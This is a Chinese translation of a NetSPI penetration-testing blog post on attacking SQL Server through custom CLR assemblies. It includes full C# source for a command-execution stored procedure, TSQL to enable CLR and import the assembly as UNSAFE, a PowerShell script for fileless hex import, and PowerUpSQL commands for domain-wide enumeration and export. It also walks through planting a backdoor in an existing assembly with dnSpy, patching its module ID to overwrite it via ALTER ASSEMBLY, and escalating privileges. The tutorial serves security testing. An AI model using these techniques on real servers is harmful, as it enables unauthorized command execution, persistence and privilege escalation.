译者:兄弟要碟吗
在这个博客中,我会扩展Nathan Kirk博客CLR系列的CLR组件攻击。 我将介绍如何创建,导入,导出和修改SQL Server中的CLR程序集,以达到提升权限,执行系统命令和持久性等目的。我还将分享一些使用PowerUpSQL在Active Directory环境中更大规模执行(批量)CLR攻击的技巧。
什么是SQL Server中的自定义CLR程序集?
为了这个博客可以更好的说明,我们将定义一个公共语言运行库(CLR)组件作为一个.NET的DLL(或一组DLL)可以导入到SQL服务器。一旦导入,DLL方法就可以链接到存储过程,并通过TSQL执行。创建和导入自定义CLR程序集的能力是开发人员扩展SQL Server本地功能的一个很好的方式,但自然也为攻击者创造了机会。
如何为SQL Server定制一个自定义的CLR DLL?
下面是根据Nathan Kirk的操作和一些文章实现的利用微软C#执行系统命令的示例。你可以根据需要对代码作出修改,当你修改完毕后将文件保存至“c:\temp\cmd_exec.cs”。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
using System;using System.Data;using System.Data.SqlClient;using System.Data.SqlTypes;using Microsoft.SqlServer.Server;using System.IO;using System.Diagnostics;using System.Text;public partial class StoredProcedures{ [Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand) { Process proc = new Process(); proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe"; proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value); proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); // Create the record and specify the metadata for the columns. SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000)); // Mark the beginning of the result set. SqlContext.Pipe.SendResultsStart(record); // Set values for each column in the row record.SetString(0, proc.StandardOutput.ReadToEnd().ToString()); // Send the row back to the client. SqlContext.Pipe.SendResultsRow(record); // Mark the end of the result set. SqlContext.Pipe.SendResultsEnd(); proc.WaitForExit(); proc.Close(); }}; |
现在我们使用csc.exe将“c:\temp\cmd_exec.cs”编译成dll。在默认情况下即使你没有安装Visual Studio,csc.exe编译器是附带.NET框架的,我们使用下面的PowerShell命令来找到它。
|
1
|
Get-ChildItem -Recurse "C:\Windows\Microsoft.NET\" -Filter "csc.exe" | Sort-Object fullname -Descending | Select-Object fullname -First 1 -ExpandProperty fullname |
如果你找到了csc.exe,你可以使用下面的命令将“c:\temp\cmd_exec.cs”编译成dll文件。
|
1
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library c:\temp\cmd_exec.cs |
如何导入我的CLR DLL到SQL Server?
要将dll导入SqlServer,需要SQL登录的权限为sysadmin,有CREATE ASSEMBLY权限或ALTER ASSEMBLY权限。然后按照以下步骤注册dll并且将其链接到存储过程,以便使用TSQL执行cmd_exec方法。
以sysadmin身份登录到SqlServer,并用下面TSQL查询:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
-- Select the msdb databaseuse msdb-- Enable show advanced options on the serversp_configure 'show advanced options',1RECONFIGUREGO-- Enable clr on the serversp_configure 'clr enabled',1RECONFIGUREGO-- Import the assemblyCREATE ASSEMBLY my_assemblyFROM 'c:\temp\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;-- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GO |
现在,你应该可以通过“msdb”数据库中的“cmd_exec”存储过程执行系统命令了,如下面的示例所示。
完成后你可以使用下面的sql语句删掉该过程和程序集
如何将我的CLR DLL转换成一个十六进制字符串并在没有文件的情况下导入它?
CLR程序集导入SQLServer时不必一定要引用一个dll文件,“CREATE ASSEMBLY”也接受一个十六进制的字符串表示CLR DLL文件。下面是一个PowerShell脚本示例,演示了如何将你的“cmd_exec.dll”文件转换到sql命令中,它可以用来创建没有物理文件引用的程序集。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
# Target file$assemblyFile = "c:\temp\cmd_exec.dll"# Build top of TSQL CREATE ASSEMBLY statement$stringBuilder = New-Object -Type System.Text.StringBuilder $stringBuilder.Append("CREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM `n0x") | Out-Null# Read bytes from file$fileStream = [IO.File]::OpenRead($assemblyFile)while (($byte = $fileStream.ReadByte()) -gt -1) { $stringBuilder.Append($byte.ToString("X2")) | Out-Null}# Build bottom of TSQL CREATE ASSEMBLY statement$stringBuilder.AppendLine("`nWITH PERMISSION_SET = UNSAFE") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null# Build create procedure command$stringBuilder.AppendLine("CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null# Create run os command$stringBuilder.AppendLine("EXEC[dbo].[cmd_exec] 'whoami'") | Out-Null$stringBuilder.AppendLine("GO") | Out-Null$stringBuilder.AppendLine(" ") | Out-Null# Create file containing all commands$stringBuilder.ToString() -join "" | Out-File c:\temp\cmd_exec.txt |
如果一切顺利“c:\temp\cmd_exec.txt”文件应该包含以下SQL语句。在该示例中,十六进制字符串已被截断,但是你的长度应该更长。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
-- Select the MSDB databaseUSE msdb-- Enable clr on the serverSp_Configure 'clr enabled', 1RECONFIGUREGO-- Create assembly from ascii hexCREATE ASSEMBLY [my_assembly] AUTHORIZATION [dbo] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO -- Create procedures from the assembly method cmd_execCREATE PROCEDURE [dbo].[my_assembly] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [cmd_exec].[StoredProcedures].[cmd_exec]; GO -- Run an OS command as the SQL Server service accountEXEC[dbo].[cmd_exec] 'whoami' GO |
当你用sysadmin权限在SqlServer中运行“c:\temp\cmd_exec.txt”的sql语句时,输出应该如下所示:
PowerUpSQL自动化
你可以在使用PowerUpSQL之前,访问此链接了解PowerUpSQL
我做了一个PowerUpSQL函数来调用“Create-SQLFileCLRDll”创建类似的DLL和TSQL脚本。 它还支持设置自定义的程序集名称,类名称,方法名称和存储过程名称。 如果没有指定设置,那么它们都是随机的。 以下是一个基本的命令示例:
|
1
2
3
4
|
PS C:\temp> Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir c:\tempC# File: c:\temp\runcmd.cscCLR DLL: c:\temp\runcmd.dllSQL Cmd: c:\temp\runcmd.txt |
以下是生成10个CLR DLL / CREATE ASSEMBLY SQL脚本的示例,在实验室中使用CLR组件时,可以派上用场。
|
1
|
1..10| %{ Create-SQLFileCLRDll -Verbose -ProcedureName myfile$_ -OutDir c:\temp -OutFile myfile$_ } |
如何列出现有的CLR程序集和CLR存储过程?
你可以使用下面的TSQL语句来查询验证你的CLR程序集是否正确设置,或者寻找现有的用户自定义的CLR程序集。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
USE msdb;SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name], af.file_id, af.name + '.dll' as [file_name], asmbly.clr_name, asmbly.assembly_id, asmbly.name AS [assembly_name], am.assembly_class, am.assembly_method, so.object_id as [sp_object_id], so.name AS [sp_name], so.[type] as [sp_type], asmbly.permission_set_desc, asmbly.create_date, asmbly.modify_date, af.content FROM sys.assembly_modules amINNER JOIN sys.assemblies asmblyON asmbly.assembly_id = am.assembly_idINNER JOIN sys.assembly_files af ON asmbly.assembly_id = af.assembly_id INNER JOIN sys.objects soON so.[object_id] = am.[object_id] |
使用这个查询我们可以看到文件名、程序集名、程序集类名、程序集方法和方法映射到的存储过程。
如果你运行了我之前提供的“Create-SQLFileCLRDll”命令生成的10个TSQL查询,那么你应该在你的查询结果中看到“my_assembly”,你还将看到这些程序集相关的程序集信息。
PowerUpSQL自动化
我在PowerUpSQL中添加了一个名为“Get-SQLStoredProcedureCLR”的功能,它将迭代可访问的数据库,并提供每个数据库的程序集信息。 以下是一个命令示例:
|
1
|
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Out-GridView |
你还可以使用以下命令对所有域内的SQL Server执行此操作(前提是你拥有正确的权限)。
|
1
|
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize |
映射程序参数
攻击者不是唯一创建不安全程序集的人员。有时候开发人员会创建执行OS命令或者与操作系统进行资源交互的程序集。因此,定位和逆向这些程序集也是很有必要的,有时这些程序集会有权限提升的bug。例如,如果我们的程序集已经存在,我们可以尝试去确定一下它接受的参数和怎么使用它们。只是为了好玩,让我们使用下面的TSQL查询“cmd_exec”存储过程接受了哪些参数
|
1
2
3
4
5
6
7
|
SELECT pr.name as procname, pa.name as param_name, TYPE_NAME(system_type_id) as Type, pa.max_length, pa.has_default_value, pa.is_nullable FROM sys.all_parameters paINNER JOIN sys.procedures pr on pa.object_id = pr.object_idWHERE pr.type like 'pc' and pr.name like 'cmd_exec' |
在这个例子中,我们可以看到它只接受一个名为“execCommand”的字符串参数。 针对存储过程的攻击者可能能够确定它可以用于执行OS命令。
如何将SQL Server中存在的CLR程序集导出到DLL?
在SqlServer中,我们还可以将用户定义的CLR程序集导出到dll。我们来谈谈从识别CLR程序集到获取CLR的源代码。首先,我们必须识别程序集,然后将它们导出到dll,并且对它们进行反编译以便进行源码分析(或修改为注入后门程序)。
PowerUpSQL自动化
在上面我们讨论了如何使用下面的PowerUpSQL命令列出CLR程序集。
|
1
|
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' | Format-Table -AutoSize |
它存在一个“ExportFolder”选项,我们可以设置它,这个功能将会把程序集dll导出到文件夹,以下是一个命令示例:
|
1
|
Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -ExportFolder c:\temp -Username sa -Password 'sapassword!' | Format-Table -AutoSize |
如果你是域用户,并且权限是sysadmin,还可以使用下面的命令导出CLR DLL
|
1
|
Get-SQLInstanceDomain -Verbose | Get-SQLStoredProcedureCLR -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Username sa -Password 'sapassword!' -ExportFolder c:\temp | Format-Table -AutoSize |
Dll可以在输出的文件夹中找到。脚本将基于每个服务器的名称、实例和数据库的名称动态构建文件夹结构。
然后你可以使用你喜欢的反编译器查看源代码。在过去一年中,我已经成为dnSpy的粉丝。阅读后面的内容你将知道这是因为什么。
如何修改CLR DLL并覆盖已经导入SQL Server的程序集?
以下简要介绍如何使用dnSpy反编译、查看、编辑、保存、和重新导入现有的SQL Server CLR DLL,你可以在这里下载dnSpy。
本次练习我们将修改从SQL Server导出的cmd_exec.dll
1.在dnSpy中打开cmd_exec.dll文件。在左侧面板中,向下选择,直到找到“cmd_exec”方法并选择它,你可以立马看到它的源码并寻找bug。
2.接下来,右键单击包含源代码的右侧面板,然后选择“Edit Method (C#) …”
3.编辑你想编辑的代码,在这个例子中,我添加了一个简单的“后门”,每次调用“cmd_exec”方法时,都会向“C:\temp”目录中添加文件。示例代码和屏幕截图如下。
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
public static void cmd_exec(SqlString execCommand){ Process expr_05 = new Process(); expr_05.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe"; expr_05.StartInfo.Arguments = string.Format(" /C {0}", execCommand.Value); expr_05.StartInfo.UseShellExecute = true; expr_05.Start(); expr_05.WaitForExit(); expr_05.Close(); Process expr_54 = new Process(); expr_54.StartInfo.FileName = "C:\\Windows\\System32\\cmd.exe"; expr_54.StartInfo.Arguments = string.Format(" /C 'whoami > c:\\temp\\clr_backdoor.txt", execCommand.Value); expr_54.StartInfo.UseShellExecute = true; expr_54.Start(); expr_54.WaitForExit(); expr_54.Close();} |
4.通过单击编译按钮保存修补的代码。然后从顶部菜单选择File、Save Module….然后点击确定
根据这篇Microsoft的文章,在每次编译CLR时,都会生成一个唯一的GUID并将其嵌入到文件头中,以便用来区分同一文件的两个版本。这被称为MVID(模块版本ID)。要覆盖已经导入到SQLServer的现有CLR,我们必须手动修改MVID。以下是一个概述。
1.在dnSpy中打开“cmd_exec”,如果它还没有被打开,向下选择PE部分并选择“#GUID”存储流。然后右键单击它,然后选择“Show Data in Hex Editor”。
2.接下来,我们需要用任意值修改所选字节之一
3.从顶部菜单中选择文件,然后选择“Save Module…”
PowerShell自动化
你可以使用我之前提供的原始PowerShell命令,也可以使用下面的PowerUPSQL命令从新修改的“cmd_exec.dll”文件获取十六进制字节,并生成ALTER语句。
|
1
2
3
4
5
6
7
8
|
PS C:\temp> Create-SQLFileCLRDll -Verbose -SourceDllPath .\cmd_exec.dllVERBOSE: Target C# File: NAVERBOSE: Target DLL File: .\cmd_exec.dllVERBOSE: Grabbing bytes from the dllVERBOSE: Writing SQL to: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txtC# File: NACLR DLL: .\cmd_exec.dllSQL Cmd: C:\Users\SSUTHE~1\AppData\Local\Temp\CLRFile.txt |
新的cmd_exec.txt 内容看起来应该像下面的语句
|
1
2
3
4
5
6
7
|
-- Choose the msdb databaseuse msdb-- Alter the existing CLR assemblyALTER ASSEMBLY [my_assembly] FROM 0x4D5A90000300000004000000F[TRUNCATED]WITH PERMISSION_SET = UNSAFE GO |
ALTER语句用于替换现有的CLR而不是DROP和CREATE。 正如微软所说的那样:“ALTER ASSEMBLY不会中断正在修改的程序集中当前会话里正在运行的代码。当前会话通过使用程序集的未更改位来完成执行。 所以,总而言之,什么都没有发生。 TSQL查询执行应该看起来像下面的截图:
要检查代码修改是否有效,请运行“cmd_exec”存储过程,并验证是否已创建“C:\temp\backdoor.txt”文件。
我可以使用自定义CLR升级SQL Server中的权限吗?
答案是肯定的,但有一些苛刻的条件必须要满足。
如果你的SQL Server不是以sysadmin登录的,但具有CREATE或ALTER ASSEMBLY权限,则可以使用自定义CLR获取sysadmin权限,该自定义CLR将在SQL Server服务帐户(由sysadmin默认)。但是,要成功创建CLR程序集的数据库,必须将’is_trustworthy’标志设置为’1’并启用’clr enabled’服务器设置。默认情况下,只有msdb数据库是可靠的,并且禁用“clr enabled”设置。
我从来没有看到明确分配给SQL登录的CREATE或ALTER ASSEMBLY权限。但是,我已经看到应用程序SQL登录添加到“db_ddladmin”数据库角色,并且具有“ALTER ASSEMBLY”权限。
注意:SQL Server 2017引入了“clr strict security”配置。 Microsoft文档规定,需要禁用该设置以允许创建UNSAFE或EXTERNAL程序集。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blog.netspi.com/attacking-sql-server-clr-assemblies/




























暂无评论内容